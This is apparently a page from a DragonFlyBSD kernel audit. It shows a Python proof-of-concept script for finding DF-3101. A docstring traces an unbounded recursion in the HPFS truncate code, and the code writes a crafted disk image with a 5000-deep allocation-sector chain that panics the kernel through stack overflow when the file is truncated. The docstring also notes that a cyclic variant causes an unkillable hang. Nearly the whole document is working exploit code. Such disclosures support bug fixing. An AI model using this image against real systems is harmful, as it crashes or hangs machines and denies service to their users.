⬢ DragonFlyBSD Kernel Audit
DF-3101 / craft_img.py
← back to finding ↓ download raw
#!/usr/bin/env python3
"""
DF-3101 — crafted HPFS image with a deep (non-cyclic) AB_NODES AlSec
chain to blow the kernel stack through unbounded recursion in
hpfs_truncatealblk (sys/vfs/hpfs/hpfs_alsubr.c:741-888).

Path (all in-kernel):
  ftruncate(fd, 0)
    -> hpfs_setattr  (hpfs_vnops.c:559-569; va_size < fn_size)
    -> hpfs_truncate (hpfs_subr.c:774)
    -> hpfs_truncatealblk(hpmp, &fn_ab, newblen=0, &pf)
       alblk has AB_NODES; the while condition
           while (abp->ab_busycnt && (bn <= anp->an_nextoff))
       is ALWAYS true for bn=0 (an_nextoff is u32 >= 0), so every level
       breads the an_lsn AlSec and recurses (alsubr.c:770) — with no
       depth limit and no visited-set.  Each level holds its buffer
       locked, so a *cyclic* chain self-deadlocks on the buffer lock
       (unkillable hang); a deep *acyclic* chain overflows the kernel
       stack -> guard-page fault in kernel mode -> panic.

Chain: fnode 0x48 -> AlSec A1 -> A2 -> ... -> A5000 (all AB_NODES,
an[0].an_nextoff=0xFFFFFFFF), A5000 is an empty LEAF (busycnt=0).

Image: 0x900 sectors (~1.15 MB).  Layout as per DF-0857 skeleton plus
       AlSec chain at sectors 0x50 .. 0x50+5000-1.
"""
import struct, sys

SECTOR = 512
NCHAIN = 5000
IMGSEC = 0x50 + NCHAIN + 16
SU_MAGIC = 0xFA53E9C5F995E849
SP_MAGIC = 0xFA5229C5F9911849
FN_MAGIC = 0xF7E40AAE
D_MAGIC  = 0x77E40AAE
AS_MAGIC = 0x37E40AAE
AB_NODES = 0x80

FN_OFF_MAGIC, FN_OFF_NAMELEN, FN_OFF_NAME = 0x00, 0x10, 0x11
FN_OFF_PARENT, FN_OFF_FLAG, FN_OFF_AB, FN_OFF_ABD, FN_OFF_SIZE = \
    0x20, 0x3B, 0x3C, 0x44, 0xA4
AB_OFF_FLAG, AB_OFF_FREECNT, AB_OFF_BUSYCNT, AB_OFF_FREEOFF = 0, 4, 5, 6
# struct alsec: as_magic u32, as_self u32, as_parent u32, as_ab(alblk_t 8),
#               as_abd[0x1E0]
AS_OFF_AB = 0x0C
AS_OFF_ABD = 0x14

def build(outpath):
    img = bytearray(IMGSEC * SECTOR)
    def wr32(o, v): struct.pack_into('<I', img, o, v & 0xFFFFFFFF)
    def wr64(o, v): struct.pack_into('<Q', img, o, v & 0xFFFFFFFFFFFFFFFF)
    def wr16(o, v): struct.pack_into('<H', img, o, v & 0xFFFF)
    def wr8(o, v):  img[o] = v & 0xFF

    img[0] = 0xEB
    wr16(SECTOR - 2, 0xAA55)

    su = 0x10 * SECTOR
    wr64(su + 0, SU_MAGIC); wr8(su + 8, 2)
    wr32(su + 12, 0x20)                 # su_rootfno
    wr32(su + 16, IMGSEC)               # su_btotal
    wr32(su + 20, 0)
    wr32(su + 24, 0x30); wr32(su + 28, 0x30)
    wr64(0x11 * SECTOR, SP_MAGIC)

    wr32(0x30 * SECTOR, 0x38)           # bitmap dir -> first bitmap sector
    bm = 0x38 * SECTOR                  # 8 bitmap sectors cover 0x8000 sect
    for i in range(IMGSEC):             # mark all metadata+chain used
        b = bm + (i >> 3)
        if b < len(img):
            img[b] &= ~(1 << (i & 7))

    rf = 0x20 * SECTOR
    wr32(rf + FN_OFF_MAGIC, FN_MAGIC)
    wr8(rf + FN_OFF_NAMELEN, 1); img[rf + FN_OFF_NAME] = ord('.')
    wr32(rf + FN_OFF_PARENT, 0x20)
    wr8(rf + FN_OFF_FLAG, 1)            # VDIR
    img[rf + FN_OFF_AB + AB_OFF_FLAG] = 0
    img[rf + FN_OFF_AB + AB_OFF_FREECNT] = 7
    img[rf + FN_OFF_AB + AB_OFF_BUSYCNT] = 1
    wr16(rf + FN_OFF_AB + AB_OFF_FREEOFF, 8 + 12)
    wr32(rf + FN_OFF_ABD + 0, 0); wr32(rf + FN_OFF_ABD + 4, 1)
    wr32(rf + FN_OFF_ABD + 8, 0x40)
    wr32(rf + FN_OFF_SIZE, 4 * SECTOR)

    db = 0x40 * SECTOR
    wr32(db + 0, D_MAGIC); wr32(db + 4, 0x50); wr32(db + 8, 0)
    wr32(db + 12, 0x20); wr32(db + 16, 0x40)
    name = b'FILE'
    dep = db + 20
    reclen = ((0x2f + len(name)) + 3) & ~3
    wr16(dep + 0x00, reclen); wr16(dep + 0x02, 0)
    wr32(dep + 0x04, 0x48)
    wr64(dep + 0x08, 0); wr32(dep + 0x10, 0x10000)
    wr64(dep + 0x18, 0); wr64(dep + 0x20, 0); wr32(dep + 0x28, 0)
    img[dep + 0x2e] = len(name)
    for i, c in enumerate(name):
        img[dep + 0x2f + i] = c
    dep2 = dep + reclen
    wr16(dep2 + 0x00, 4 * SECTOR - (dep2 - db))
    wr16(dep2 + 0x02, 0x08)
    wr32(db + 4, (dep2 + 4) - db)

    ff = 0x48 * SECTOR
    wr32(ff + FN_OFF_MAGIC, FN_MAGIC)
    wr32(ff + FN_OFF_PARENT, 0x20)
    wr8(ff + FN_OFF_NAMELEN, 4)
    img[ff + FN_OFF_NAME:ff + FN_OFF_NAME + 4] = b'FILE'
    wr8(ff + FN_OFF_FLAG, 0)            # VREG
    # root alblk = AB_NODES with one alnode: nextoff=0xFFFFFFFF -> chain
    img[ff + FN_OFF_AB + AB_OFF_FLAG] = AB_NODES
    img[ff + FN_OFF_AB + AB_OFF_FREECNT] = 0xC
    img[ff + FN_OFF_AB + AB_OFF_BUSYCNT] = 1
    wr16(ff + FN_OFF_AB + AB_OFF_FREEOFF, 8 + 8)
    wr32(ff + FN_OFF_ABD + 0, 0xFFFFFFFF)   # an_nextoff (>= any bn)
    wr32(ff + FN_OFF_ABD + 4, 0x50)         # an_lsn -> AlSec A1
    wr32(ff + FN_OFF_SIZE, 0x10000)         # fn_size (so truncate shrinks)

    a1 = 0x50
    for k in range(NCHAIN):
        lsn = a1 + k
        nxt = lsn + 1
        o = lsn * SECTOR
        wr32(o + 0, AS_MAGIC)
        wr32(o + 4, lsn)                # as_self
        wr32(o + 8, lsn - 1)            # as_parent (unused by kernel walk)
        if k == NCHAIN - 1:
            # tail: empty LEAF alblk -> recursion bottoms out
            img[o + AS_OFF_AB + AB_OFF_FLAG] = 0
            img[o + AS_OFF_AB + AB_OFF_FREECNT] = 0x28
            img[o + AS_OFF_AB + AB_OFF_BUSYCNT] = 0
            wr16(o + AS_OFF_AB + AB_OFF_FREEOFF, 8)
        else:
            img[o + AS_OFF_AB + AB_OFF_FLAG] = AB_NODES
            img[o + AS_OFF_AB + AB_OFF_FREECNT] = 0x28
            img[o + AS_OFF_AB + AB_OFF_BUSYCNT] = 1
            wr16(o + AS_OFF_AB + AB_OFF_FREEOFF, 8 + 8)
            wr32(o + AS_OFF_ABD + 0, 0xFFFFFFFF)  # an_nextoff
            wr32(o + AS_OFF_ABD + 4, nxt)         # an_lsn -> next AlSec

    with open(outpath, 'wb') as f:
        f.write(img)
    print("wrote %s: %d sectors, chain depth %d" % (outpath, IMGSEC, NCHAIN))

if __name__ == '__main__':
    build(sys.argv[1] if len(sys.argv) > 1 else 'df3101.img')